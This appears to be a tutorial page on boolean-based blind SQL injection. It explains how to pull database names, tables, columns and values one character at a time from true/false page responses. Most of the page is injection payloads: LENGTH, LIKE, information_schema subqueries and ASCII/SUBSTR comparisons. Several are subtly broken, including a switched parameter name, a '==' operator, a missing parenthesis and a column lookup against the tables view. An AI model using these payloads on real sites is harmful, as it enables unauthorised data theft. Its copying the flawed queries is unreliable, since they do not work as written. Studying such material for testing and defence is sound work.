Boolean-based SQLi

Go back

Boolean-based SQLi involve injecting SQL bit by bit while only having one output: ok or failed.

For instance, if you have a page telling you if a user exists. If this page return "true" for a username toto:

GET /account?username=toto

If you try to inject some SQL "toto' AND 1=0-- -"

GET /account?id=toto' AND 1=0-- -

The response will indicate that the username does not exist, but as you know it exists from the previous request, we can infer that the trailing injected code failed (AND 1=0-- -).


Manual Boolean-based SQLi

Manually exploiting a Boolean-based SQLi is hard and lengthy. You will do exactly what we do during Union-based SQL, aside from the fact that you work letter by letter.

  • Number of columns selected - unchanged
  • Find the type of each column - unchanged
  • Find which columns are displayed - unchanged
  • Find the DBMS used - letter by letter
  • Extract data - letter by letter

➑️ All examples below are with database(), but you will have to use comparisons to find the DMBS, the database, the table, the columns, and even to extract the values in the table.

Before testing each letter, we should check the length of the text you want to guess to mentally prepare ourselves.

' AND LENGTH(database()) > 5 -- -
' AND LENGTH(database()) > 15 -- -
' AND LENGTH(database()) > 12 -- -
' AND LENGTH(database()) == 14 -- --
[...]

Then, we may use LIKE to rather easily find the name:

' AND database() LIKE '%' -- - // test; should always be true
' AND database() LIKE 'a%' -- - // starting
' AND database() LIKE 'b%' -- -
[...]
' AND database() LIKE 'm%' -- - // ok
' AND database() LIKE 'ma%' -- -
' AND database() LIKE 'mb%' -- -
[...]
' AND database() LIKE 'my_example' -- - // found 😒

There may be multiple databases starting with the same letter. To know if there are more, you have to exclude the one you found.

' AND database() != 'my_example' AND database() LIKE 'my_%' -- -
[...]

For some conditions, you may use something like this:

-- fetch table name
' 1 IN (SELECT 1 FROM information_schema.tables WHERE table_schema = 'database_name' AND table_name like '%') -- -
[...]
-- fetch column name
' 1 IN (SELECT 1 FROM information_schema.tables WHERE table_schema = 'database_name' AND table_name='table_name' AND column_name LIKE '%') -- -
[...]
-- fetch values
' 1 IN (SELECT 1 FROM database_name.table_name WHERE column_name LIKE '%') -- -

You can't always use LIKE, and may have to fall back to ASCII.

WHERE ASCII(SUBSTR(text,1,1) = ASCII('a')
-- extract the first character (pos=1, len=1)
-- of a text 'text'. Convert the character to ASCII
-- and, check if this is the same as the ASCII of 'a'

-- find the ASCII (do it inside YOUR DBMS)
SELECT ASCII('A') -- 65

-- then use
WHERE ASCII(SUBSTR(text,1,1)) = 65
-- some are using "65 to HEX" = X'41'
WHERE SUBSTR(text,1,1) = CAST(X'41' as char)